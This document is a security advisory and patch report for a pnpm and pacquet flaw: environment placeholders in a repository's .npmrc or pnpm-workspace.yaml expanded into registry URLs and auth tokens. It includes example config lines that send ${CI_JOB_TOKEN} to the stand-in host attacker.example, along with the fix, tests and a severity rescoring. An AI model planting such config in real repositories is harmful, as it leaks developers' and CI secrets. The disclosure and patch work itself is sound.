<!-- maintainer-action:start -->
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
CAND-PNPM-122 / GHSA-3qhv-2rgh-x77rsecurity/ghsa-batch-2026-06-09a93449314f398cf4bdf2e28d033c02d37395ad22origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccecstart-herepnpm config/env replacement and registry authnpm:pnpm, npm:@pnpm/config.reader, rust:pacquetCWE-201, CWE-200, CWE-5226.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:NProject .npmrc environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.
config/reader/src/loadNpmrcFiles.tsconfig/reader/src/getOptionsFromRootManifest.tsconfig/reader/test/index.tsconfig/reader/test/getOptionsFromRootManifest.test.tspacquet/crates/config/src/npmrc_auth.rspacquet/crates/config/src/npmrc_auth/tests.rspacquet/crates/config/src/workspace_yaml.rspacquet/crates/config/src/workspace_yaml/tests.rs.changeset/sharp-registry-env-placeholders.mdRun these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
cargo fmt --check
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-122-patched-result.json.
<!-- maintainer-action:end -->
pnpm and pacquet expanded ${ENV_VAR} placeholders from repository-controlled .npmrc and pnpm-workspace.yaml into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.
The vulnerable TypeScript pnpm path was:
config/reader/src/loadNpmrcFiles.ts loaded project .npmrc and substituted environment placeholders in keys and values.config/reader/src/getOptionsFromRootManifest.ts substituted environment placeholders inside workspace registry, registries, and namedRegistries settings.config/reader/src/index.ts merged those expanded registry/auth values into pnpmConfig.registries, pnpmConfig.authConfig, and pnpmConfig.configByUri.resolving/npm-resolver/src/fetch.ts built metadata request URLs from the selected registry.network/fetch/src/fetchFromRegistry.ts dispatched the request and attached matching auth headers before install lifecycle scripts could run.The pacquet parity path was:
pacquet/crates/config/src/npmrc_auth.rs expanded project .npmrc placeholders while parsing registry URLs and auth values.pacquet/crates/config/src/workspace_yaml.rs expanded workspace registry placeholders.pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs used the configured registry URL and AuthHeaders for metadata fetches.Repository .npmrc URL-path exfiltration:
registry=https://attacker.example/${CI_JOB_TOKEN}/
Repository .npmrc auth-header exfiltration:
registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}
Repository pnpm-workspace.yaml URL-path exfiltration:
registries:
default: https://attacker.example/${CI_JOB_TOKEN}/
namedRegistries:
work: https://attacker.example/${CI_JOB_TOKEN}/npm/
Exploit method:
CI_JOB_TOKEN or another sensitive environment variable present.https://attacker.example/<secret>/<package> or Authorization: Bearer <secret> to the attacker-controlled endpoint.Validation PoC:
The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.
A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.
Ecosystem: npm
Package name: pnpm, @pnpm/config.reader; pacquet Rust port
Affected versions: current main before this patch, when project .npmrc or pnpm-workspace.yaml contains environment placeholders in registry request destinations or project .npmrc contains environment placeholders in registry credential values.
Patched versions: pending release containing this patch.
Severity before patch: High
Vector string before patch: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Score before patch: 7.4
Severity after patch: None
Vector string after patch: not vulnerable after patch
Score after patch: 0.0
Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CWE-522: Insufficiently Protected Credentials
The patch makes environment expansion trust-aware for registry requests:
.npmrc no longer expands ${...} in registry, @scope:registry, proxy URL values, URL-scoped keys such as //host/${SECRET}/:_authToken, or registry credential values such as //host/:_authToken=${SECRET} and _authToken=${SECRET}..npmrc, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration.pnpm-workspace.yaml no longer expands ${...} in registry, registries, or namedRegistries URL values.//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the .npmrc is supplied as user config.from_project_ini() for project .npmrc and workspace registry filtering.Changed files:
config/reader/src/loadNpmrcFiles.tsconfig/reader/src/getOptionsFromRootManifest.tsconfig/reader/test/index.tsconfig/reader/test/getOptionsFromRootManifest.test.tspacquet/crates/config/src/npmrc_auth.rspacquet/crates/config/src/npmrc_auth/tests.rspacquet/crates/config/src/workspace_yaml.rspacquet/crates/config/src/workspace_yaml/tests.rsChangeset:
.changeset/sharp-registry-env-placeholders.mdPacquet parity:
Ported in the same patch. Pacquet dependency-management commands now parse project .npmrc with request-destination and credential-value env expansion disabled, and drop workspace registry values containing ${...} placeholders.
Post-patch validation:
The PoC ran:
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
Results:
cand122-ci-job-token in both a request URL and a bearer auth header.config.reader: passed..npmrc default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user .npmrc registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial.cargo fmt --check: passed..npmrc registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted .npmrc registry expansion, and workspace YAML denial.git diff --check: passed.The initial scan score used a repository-code-execution vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (8.8 High)
The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Corrected vulnerable score: 7.4 High.
Final score after patch: 0.0.
{
"nvd_published_at": "2026-06-25T18:16:40Z",
"severity": "MODERATE",
"cwe_ids": [
"CWE-200",
"CWE-201",
"CWE-522"
],
"github_reviewed_at": "2026-06-26T23:12:25Z",
"github_reviewed": true
}